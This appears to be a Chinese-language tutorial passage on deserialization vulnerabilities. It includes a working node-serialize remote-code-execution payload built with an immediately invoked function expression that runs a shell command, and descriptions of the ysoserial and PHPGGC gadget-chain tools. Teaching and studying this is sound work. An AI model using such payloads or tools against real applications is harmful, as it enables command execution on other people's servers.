JavaScript本身並沒有反序列化的實現,但是一些庫如node-serialize、serialize-to-js等支持了反序列化功能。這些庫通常使用JSON形式來存儲數據,但是和原生函數JSON.parse、 JSON.stringify不同,這些庫支持任何對象的反序列化,特別是函數,如果使用不當,則可能會出現反序列化問題。
#Node.js 反序列化漏洞Payload構造
下面是一個最簡單的例子,首先獲得序列化後的輸出
var y ={
rce :function(){
require('child_process').exec('ls /',function(error, stdout, stderr){ console.log(stdout)});
},
}
var serialize =require('node-serialize');
console.log("Serialized: \n"+ serialize.serialize(y));
上面執行後會返回
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}"}
不過這段payload反序列化後並不會執行,但是在JS中支持立即調用的函數表達式(Immediately Invoked Function Expression),比如 (function () { /* code */ } ()); 這樣就會執行函數中的代碼。那麼可以使用這種方法修改序列化後的字符串來完成一次反序列化。最後的payload測試如下:
var serialize =require('node-serialize');
var payload ='{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
在實際場景中,node-serialize等庫的應用其實是很少的,並且執行命令需要內部實現,所以該漏洞的影響不大。
三.利用工具Ysoserialysoserial是一個」gadget chains (利用鏈)」的集合工具,主要面向java應用/環境,在合適的條件下,可以利用Java應用程式對對象進行不安全的反序列化。主驅動程序將用戶指定的命令,用用戶指定的gadget chains包裝起來,然後將這些對象序列化到stdout。
當一個在classpath上具有所需gadget 的應用程式不安全地反序列化這些數據時,chains將自動被調用,並導致命令在應用程式主機上執行。
Ysoserial最初包含Apache Commons Collections (3.x and 4.x)、Spring Beans/Core (4.x)和Groovy (2.3.x)的gadget chains。後來又更新了,加入了JRE <= 1.7u21和其他一些庫的gadget chains。
PHPGGCPHPGGC 是一款能夠自動生成主流框架的序列化測試payload的工具,類似 Java 中的 ysoserial, 當前支持的框架包括CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii和ZendFramework,可以說是反序列化的武器庫。
參考php-unserialize-初識(http://r6d.cn/MfKk)
不安全的反序列化(http://r6d.cn/MfK4)
PHP反序列化入門之尋找POP鏈(http://r6d.cn/MfJY)
JAVA反射機制(http://r6d.cn/MfLb)
深入理解 JAVA 反序列化漏洞(https://paper.seebug.org/312/)
PHPGGC: PHP Generic Gadget Chain(http://r6d.cn/MfKV)
-END-
掃描下方二維碼關注公眾號可以及時收到更多相關信息推送哦~